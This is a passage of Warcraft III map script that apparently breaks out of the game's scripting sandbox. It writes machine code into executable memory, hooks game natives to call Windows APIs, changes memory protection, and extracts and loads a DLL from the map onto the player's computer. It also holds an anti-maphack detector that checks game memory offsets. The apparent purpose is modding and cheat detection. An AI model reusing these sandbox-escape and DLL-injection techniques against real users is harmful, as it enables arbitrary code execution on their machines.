    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg5) // push arg5
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+36, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+40, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+44, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+52, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+56, 0xC359D1FF) // call ecx, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction



function CallCdeclWith1Args takes integer pFuncCdeclAddr, integer arg1 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+8, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+12, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+20, 0xCCC35904) // 4, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction



function CallCdeclWith2Args takes integer pFuncCdeclAddr, integer arg1, integer arg2 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+20, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+28, 0xCCC35908) // 4, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallCdeclWith3Args takes integer pFuncCdeclAddr, integer arg1, integer arg2, integer arg3 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+28, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+36, 0xCCC3590C) // 4, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallCdeclWith4Args takes integer pFuncCdeclAddr, integer arg1, integer arg2, integer arg3 , integer arg4 returns integer
    local integer pOffset1



    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+36, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+44, 0xCCC35910) // 4, pop ecx, ret

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallCdeclWith5Args takes integer pFuncCdeclAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg5) // push arg5
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+36, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+44, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+52, 0xCCC35914) // 4, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallCdeclWith6Args takes integer pFuncCdeclAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5 , integer arg6 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg6) // push arg6
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg5) // push arg5
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+36, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+40, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+44, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+52, pFuncCdeclAddr) // mov ecx, pFuncCdeclAddr
    call WriteRealMemory(pReservedExecutableMemory2+56, 0xC483D1FF) // call ecx, add esp,
    call WriteRealMemory(pReservedExecutableMemory2+60, 0xCCC35918) // 4, pop ecx, ret

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction

function ConvertNullTerminatedStringToString takes integer pNullTerminatedString returns string
    return I2SH(CallThisCallWith1Args(pConvertString,pNullTerminatedString))
endfunction

function sprintf_1args takes string format, integer arg1 returns string
    call CallCdeclWith3Args(ReadRealMemory(p_sprintf),pReservedWritableMemory, GetStringAddress(format), arg1)
    return ConvertNullTerminatedStringToString(pReservedWritableMemory)
endfunction

function sprintf_2args takes string format, integer arg1, integer arg2 returns string
    call CallCdeclWith4Args(ReadRealMemory(p_sprintf),pReservedWritableMemory, GetStringAddress(format), arg1, arg2)
    return ConvertNullTerminatedStringToString(pReservedWritableMemory)
endfunction

function sprintf_3args takes string format, integer arg1, integer arg2, integer arg3 returns string
    call CallCdeclWith5Args(ReadRealMemory(p_sprintf),pReservedWritableMemory, GetStringAddress(format), arg1, arg2, arg3)
    return ConvertNullTerminatedStringToString(pReservedWritableMemory)
endfunction

function sprintf_4args takes string format, integer arg1, integer arg2, integer arg3, integer arg4 returns string
    call CallCdeclWith6Args(ReadRealMemory(p_sprintf),pReservedWritableMemory, GetStringAddress(format), arg1, arg2, arg3, arg4)
    return ConvertNullTerminatedStringToString(pReservedWritableMemory)
endfunction

function GetModuleHandle takes string nDllName returns integer
    return CallStdcallWith1Args(Memory[pGetModuleHandle], GetStringAddress(nDllName))
endfunction

function GetModuleProcAddress takes string nDllName, string nProcName returns integer
    return CallStdcallWith2Args(Memory[pGetProcAddress], GetModuleHandle(nDllName),GetStringAddress(nProcName))
endfunction

function GetFileAttributes takes string s returns integer
    local integer nhandle1
    local integer nOffset1



    if pGetFileAttributesA == 0 then
        set pGetFileAttributesA = GetModuleProcAddress("Kernel32.dll", "GetFileAttributesA" )
    endif
    if pGetFileAttributesA != 0 then
        return CallStdcallWith1Args(pGetFileAttributesA,GetStringAddress(s))
    endif

    return 0
endfunction

function FileExists takes string s returns boolean
    return GetFileAttributes(s) != -1
endfunction


function LoadLibrary takes string nDllName returns integer
    if pLoadLibraryA == 0 then
        set pLoadLibraryA = GetModuleProcAddress("Kernel32.dll", "LoadLibraryA" )
    endif
    if pLoadLibraryA != 0 then
        return CallStdcallWith1Args(pLoadLibraryA,GetStringAddress(nDllName))
    endif

    return 0
endfunction
// 1 - Sec, 2 - Minutes, 3 - Hours, 4 - Day, 5 - Month, 6 - Year
function GetLocalTime takes integer TimeID returns integer
    local integer memval = 0
    if pGetLocalTime == 0 then
        set pGetLocalTime = GetModuleProcAddress("Kernel32.dll","GetLocalTime")
    endif

    if pGetLocalTime != 0 then
        call CallStdcallWith1Args(pGetLocalTime,pReservedMemoryForSystemTime)
    endif

    if TimeID == 1 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime+12)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    elseif TimeID == 2 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime+10)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    elseif TimeID == 3 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime+8)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    elseif TimeID == 4 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime+6)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    elseif TimeID == 5 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime+2)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    elseif TimeID == 6 then
        set memval = ReadRealMemory(pReservedMemoryForSystemTime)
        return CreateInteger1(0,0,GetByteFromInteger(memval,3),GetByteFromInteger(memval,4))
    endif
    return 0
endfunction

function ShellExecute takes string command, string path, string args returns nothing
    local integer pShellExecuteAddress = GetModuleProcAddress("Shell32.dll","ShellExecuteA")
    if pShellExecuteAddress != 0 then
        call CallStdcallWith6Args(pShellExecuteAddress, 0, GetStringAddress(command), GetStringAddress(path), GetStringAddress(args), 0, 0)
    endif
endfunction

function OpenUrlInDefaultBrowser takes string url returns nothing
    call ShellExecute("open", url, "")
endfunction

function OpenD1Stats takes nothing returns nothing
    call OpenUrlInDefaultBrowser("http://d1stats.ru")
endfunction

function MessageBox takes string message, string caption returns nothing
    if pMessageBoxA == 0 then
        set pMessageBoxA = GetModuleProcAddress("User32.dll", "MessageBoxA" )
    endif

    if pMessageBoxA != 0 then
        call CallStdcallWith4Args(pMessageBoxA,0,GetStringAddress(message),GetStringAddress(caption),0)
    endif
endfunction


function FindWindow takes string name, string class returns integer
    local integer nOffset1 = 0

    if pFindWindowA == 0 then
        set pFindWindowA = GetModuleProcAddress("User32.dll", "FindWindowA" )
    endif

    if pFindWindowA != 0 then
        return CallStdcallWith2Args(pFindWindowA,GetStringAddress(class), GetStringAddress(name) )
    endif
    return 0
endfunction

function ReadStringFromFile takes string Filename, string Section, string Key, string DefaultValue returns string
    local integer pOffset1
    local string s

    if pGetPrivateProfileStringA == 0 then
        set pGetPrivateProfileStringA = GetModuleProcAddress("Kernel32.dll", "GetPrivateProfileStringA" )
    endif

    if pGetPrivateProfileStringA != 0 then
        call CallStdcallWith6Args(pGetPrivateProfileStringA,GetStringAddress(Section) , GetStringAddress(Key),GetStringAddress(DefaultValue) ,pReservedWritableMemory,szReservedWritableMemory, GetStringAddress(Filename) )
        return ConvertNullTerminatedStringToString( pReservedWritableMemory )
    endif

    return ""
endfunction

function WriteStringToFile takes string Filename, string Section, string Key, string Value returns nothing
    local integer nOffset1

    if pWritePrivateProfileStringA == 0 then
        set pWritePrivateProfileStringA = GetModuleProcAddress("Kernel32.dll", "WritePrivateProfileStringA" )
    endif
    if pWritePrivateProfileStringA != 0 then
        call CallStdcallWith4Args(pWritePrivateProfileStringA,GetStringAddress(Section),GetStringAddress(Key),GetStringAddress(Value),GetStringAddress(Filename))
    endif
endfunction

function WriteStringToFileDebug takes string s returns nothing
    call WriteStringToFile("debug.log","",s,"")
endfunction

function ExportFileFromMpq takes string source, string dest returns boolean
    return CallFastCallWith2Args(pExportFromMpq, GetStringAddress(source), GetStringAddress(dest)) > 0
endfunction

function SuperTextPrinter takes string s, integer color, real staytime returns nothing
    call CallThisCallWith4Args(pPrintText1, Memory[pGameClass2], GetStringAddress(s),cleanInt(realToIndex(staytime)),color )
endfunction

function SuperTextPrinter2 takes string s,  integer color, real staytime returns nothing
    call CallThisCallWith4Args(pPrintText2, Memory[pGameClass2], GetStringAddress(s),cleanInt(realToIndex(staytime)),color )
endfunction

function CopyMemory takes integer dest, integer src, integer size returns integer
    return CallCdeclWith3Args(ReadRealMemory(pMemcpy), dest,src,size)
endfunction

function GetGameUIENV takes nothing returns integer
    return ReadRealMemory(Memory[pGameClass2]+0x3EC)
endfunction

// function GetGameICONENV takes nothing returns integer
    // return ReadRealMemory(Memory[pGameClass2]+0x3DC)
// endfunction

// function UpdateIcons takes nothing returns nothing
    // call CallThisCallWith2Args(GameDLL + 0x370A90,GetGameICONENV( ),1)
// endfunction

// function GetGameHeroIconListVal takes nothing returns integer
    // local integer pEnv2 = GetGameICONENV( )
    // if pEnv2 > 0 then
        // return ReadRealMemory(pEnv2 + 0x168)
    // endif
    // return 0
// endfunction


// function GetGameHeroIconListAddr takes nothing returns integer
    // local integer pEnv2 = GetGameICONENV( )
    // if pEnv2 > 0 then
        // return pEnv2 + 0x168
    // endif
    // return 0
// endfunction


// function GetGameHeroIconListFirst takes nothing returns integer
    // local integer pEnv2 = GetGameICONENV( )
    // if pEnv2 > 0 then
        // return ReadRealMemory(pEnv2 + 0x170)
    // endif
    // return 0
// endfunction

// function SetUnitForHeroIcon takes integer iconaddr, integer u returns nothing
    // call CallThisCallWith2Args(GameDLL + 0x02A560, iconaddr + 8, u)
// endfunction

// function SetNumberForHeroIcon takes integer iconaddr, integer num returns nothing
    // call WriteRealMemory(iconaddr+12,num)
// endfunction

// function CreateNewHeroIconAndReturnAddr takes integer u returns integer
    // return CallThisCallWith4Args(GameDLL + 0x36C810,GetGameHeroIconListAddr( ),0,0,0)
// endfunction

// function GetHeroIconForUnitForAddress takes integer u returns integer
    // local integer FirstIconEntry = GetGameHeroIconListFirst( )
    // if FirstIconEntry < 0 then
        // set FirstIconEntry = 0
    // endif

    // if FirstIconEntry != 0 then
        // loop
            // if ReadRealMemory(FirstIconEntry + 8) != u then
                // set FirstIconEntry = ReadRealMemory(FirstIconEntry + 4)
            // else
                // return FirstIconEntry
            // endif
            // exitwhen FirstIconEntry == 0
        // endloop
    // endif

    // set FirstIconEntry = CreateNewHeroIconAndReturnAddr(u)
    // call SetUnitForHeroIcon(FirstIconEntry,u)
    // call SetNumberForHeroIcon(FirstIconEntry,0)
    // call UpdateIcons( )
    // return FirstIconEntry
// endfunction

// function GetHeroIconForUnit takes unit u returns integer
    // if u == null then
        // return 0
    // else
        // return GetHeroIconForUnitForAddress(ConvertHandle(u))
    // endif
// endfunction

function SuperTextPrinter3 takes string s,  integer color, real staytime returns nothing
    call WriteRealMemory(pReserverdIntArg1,color)
    call CallThisCallWith5Args(pPrintText3,GetGameUIENV( ), GetStringAddress(s),pReserverdIntArg1, cleanInt(realToIndex(staytime)),0 )
endfunction

function ErrorMsg takes string s, player p returns nothing
    if LocalPlayer==p then
        call SuperTextPrinter2(s,0xffffcc00,5.)
    endif
endfunction

function SuperTextPrinterRedraw takes nothing returns nothing
    local integer h=GetHandleId(GetExpiredTimer())
    local integer c=LoadInteger(HY,h,0)
    local integer i=1
    local string s=""
    local real d
    local integer k = 6 // limit lines shown
    loop
        exitwhen HaveSavedReal(HY,h,i)==false or c < i or k<=0
        set d=LoadReal(HY,h,i)
        if d>0.2 then
            set s=s+"\n"+LoadStr(HY,h,i)
            call SaveReal(HY,h,i,d-0.2)
            set k=k-1
        elseif d>0 then
            call SaveReal(HY,h,i,0.)
        endif
        set i=i+1
   
    endloop
    call SuperTextPrinter(s,0xffffffff,0.2)

endfunction

function SuperTextPrinterClear takes nothing returns nothing
    local integer i=1
    local integer h=GetHandleId(SuperTextPrinter_Timer)
    loop
        exitwhen HaveSavedReal(HY,h,i)==false or i > LoadInteger(HY,h,0)
        call SaveReal(HY,h,i,0.)
        set i=i+1
    endloop
endfunction

function SuperTextPrinterFactory takes string s, real dur returns nothing
    local integer h
    local integer c
    if SuperTextPrinter_Timer==null then
        set SuperTextPrinter_Timer=CreateTimer()
        call TimerStart(SuperTextPrinter_Timer,0.2,true,function SuperTextPrinterRedraw)
        call FlushChildHashtable(HY,GetHandleId(SuperTextPrinter_Timer))
    endif
    set h=GetHandleId(SuperTextPrinter_Timer)
    set c=LoadInteger(HY,h,0)+1
    call SaveInteger(HY,h,0,c)
    call SaveStr(HY,h,c,s)
    call SaveReal(HY,h,c,dur)
endfunction



function GetFileSizeFromMpq takes string source returns integer
    call WriteRealMemory(pReserverdIntArg2,0)
    call WriteRealMemory(pReserverdIntArg1,0)
    call CallStdcallWith5Args(Memory[pStorm279],GetStringAddress(source),pReserverdIntArg2,pReserverdIntArg1,1,0)
    return Memory[pReserverdIntArg1/4]
endfunction

// change nothing ;(
function ChangeFont takes string fontpath, integer fonttype returns nothing
    call CallFastCallWith2Args(pChangeFont,fonttype, GetStringAddress(fontpath))
endfunction


// source File in mpq, dest File in disk, libname File name without path
function ExportDllFromMpqAndInjectToWarcraft takes string source, string dest returns nothing
    call ExportFileFromMpq(source,dest)
    call LoadLibrary(dest)
endfunction


//
function AllocateExecutableMemory takes integer size returns integer
    local integer retval = 0
    if pVirtualAlloc != 0 then
        if pReservedExecutableMemory2 == 0 then
            if pMergeUnitsOffset == 0 then
                set pMergeUnitsOffset = CreateJassNativeHook(pMergeUnits, Memory[pVirtualAlloc] )
            else
                call WriteRealMemory(pMergeUnitsOffset,Memory[pVirtualAlloc])
            endif
            set retval = B2I(MergeUnits(0,size+4,0x3000,0x40))
            call WriteRealMemory(pMergeUnitsOffset,pMergeUnits)
            return retval
        else
            set retval = CallStdcallWith4Args(Memory[pVirtualAlloc],0,size+4,0x3000,0x40)
        endif
   
    endif

    if retval == 0 then
        return 0
    endif

    return (retval + 4) / 4 * 4
endfunction

function ChangeOffsetProtection takes integer pRealOffset, integer pMemSize, integer pProtectFlag returns integer
    local integer retval

    if pVirtualProtect == 0 then
        set pVirtualProtect = GetModuleProcAddress("Kernel32.dll", "VirtualProtect" )
    endif
    if pVirtualProtect != 0 then
        call CallStdcallWith4Args(pVirtualProtect,pRealOffset,pMemSize,pProtectFlag,pReserverdIntArg1)
        return ReadRealMemory(pReserverdIntArg1)
    endif

    return 0
endfunction



function DisableOPLimit takes nothing returns nothing
    local integer oldprotection1 = ChangeOffsetProtection(OPLimitAddress1,4,0x40)
    local integer oldprotection2 = ChangeOffsetProtection(OPLimitAddress2,4,0x40)
    if GameVersion==0x26a then
        set Memory[OPLimitAddress1/4]=0xFFFF681C
        set Memory[OPLimitAddress2/4]=0x6A570FFF
    elseif GameVersion==0x27a then
        set Memory[OPLimitAddress1/4]=0xffffff68
    endif
    call ChangeOffsetProtection(OPLimitAddress1,4,oldprotection1)
    call ChangeOffsetProtection(OPLimitAddress2,4,oldprotection2)
endfunction

function SendMessageToChat takes integer pStr, boolean ToAll returns nothing
    if pSendMessageToChat == 0 then
        set pSendMessageToChat = GetModuleProcAddress(EXTRADLLNAME, "SendMessageToChat")
    endif
    if pSendMessageToChat != 0 then
        call CallStdcallWith2Args(pSendMessageToChat,pStr,B2I(ToAll))
    endif
endfunction

function MaphackDetected takes player p, string maphackstring returns nothing
    if p == GetLocalPlayer( ) then
        call SendMessageToChat(GetStringAddress("Im using maphack: "+maphackstring), true)
//        call BJDebugMsg("mh "+maphackstring)
//        call OpenUrlInDefaultBrowser("http://d1stats.ru/maphack.php?maphackname=" + maphackstring)
    endif
endfunction

function GetUnitExistTimer takes unit u returns real
    return 0.
    //this function causes desync in case if any client is full-screen and inactive.
    //probably related to draw duration, no idea, but cannot be used for sure
//    local integer cid=ConvertHandle(u)/4
//    if cid<=0 then
//        return 0.
//    endif
//    set cid=cid+0x28/4
//    if Memory[cid]!=0 then
//        return GetRealFromMemory(Memory[(Memory[cid]+0xA0)/4 ])
//    endif
//    return 0.
endfunction

function GUAIDetection takes nothing returns nothing
    if GetTriggerEventId()==EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER and GetOrderPointX()==0. and GetOrderPointY()==0. and GetUnitExistTimer(GetTriggerUnit()) < 1. then
//        call echo(GetUnitName(GetTriggerUnit())+" "+OrderId2String(GetIssuedOrderId()))
        call MaphackDetected( GetLocalPlayer( ), "GUAI Hack detected" )
    endif
endfunction

function FindMeepoKey takes nothing returns nothing
    if (FindWindow("MeepoKey","ThunderRT6Main") > 0 ) then
        call MaphackDetected( GetLocalPlayer( ), "MeepoKey detected" )
    endif
endfunction

function MaphackFinder takes nothing returns nothing
    local integer pOffset1
    local integer pOffset2
    call FindMeepoKey()
    if GameVersion == 0x27a then
        //Game.dll+0x740420 FOG MASK
        set pOffset1 = 0x740420
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 42665076 then
            call MaphackDetected( GetLocalPlayer( ), "FOG MASK. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x3BD7E5 MINI MAP
        set pOffset1 = 0x3BD7E5
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -741962807 then
            call MaphackDetected( GetLocalPlayer( ), "BMINI MAP. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x3B946F ILLUSIONS
        set pOffset1 = 0x3B946F
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1863033463 then
            call MaphackDetected( GetLocalPlayer( ), "ILLUSIONS. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x370AD3 INVISIBLED
        set pOffset1 = 0x370AD3
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1946157056 then
            call MaphackDetected( GetLocalPlayer( ), "INVISIBLED. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x1BFEB1 MAINMAP
        //Game.dll+0x1BFF01 MAINMAP
        set pOffset1 = 0x1BFEB1
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 202073648 then
            call MaphackDetected( GetLocalPlayer( ), "MAINMAP. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x1BFF01
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1961331455 then
            call MaphackDetected( GetLocalPlayer( ), "MAINMAP. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x651694 UNIT CLICKABLE
        set pOffset1 = 0x651694
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 2106271093 then
            call MaphackDetected( GetLocalPlayer( ), "UNIT CLICKABLE. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
            return
        endif
   
   
        //Game.dll+0x65168B INVIS MINIMAP
        set pOffset1 = 0x65168B
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1958774099 then
            call MaphackDetected( GetLocalPlayer( ), "INVIS MINIMAP. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Game.dll+0x1C0053 ITEMS/RUNES
        set pOffset1 = 0x1C0053
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1976181710 then
            call MaphackDetected( GetLocalPlayer( ), "ITEMS/RUNES. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
    endif

    if GameVersion == 0x26a then
        // Bypass -ah. Address
        set pOffset1 = 0x3C639C
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 65341 then
            call MaphackDetected( GetLocalPlayer( ), "Bypass -ah. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x3C63A1
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1056606720 then
            call MaphackDetected( GetLocalPlayer( ), "Bypass -ah. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x3CB872
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 192151560 then
            call MaphackDetected( GetLocalPlayer( ), "Bypass -ah. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        // Enable Enable Trade / Resource View
        set pOffset1 = 0x34DDA2
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -2020931468 then
            call MaphackDetected( GetLocalPlayer( ), "Enable Enable Trade / Resource View. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x34DDAA
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
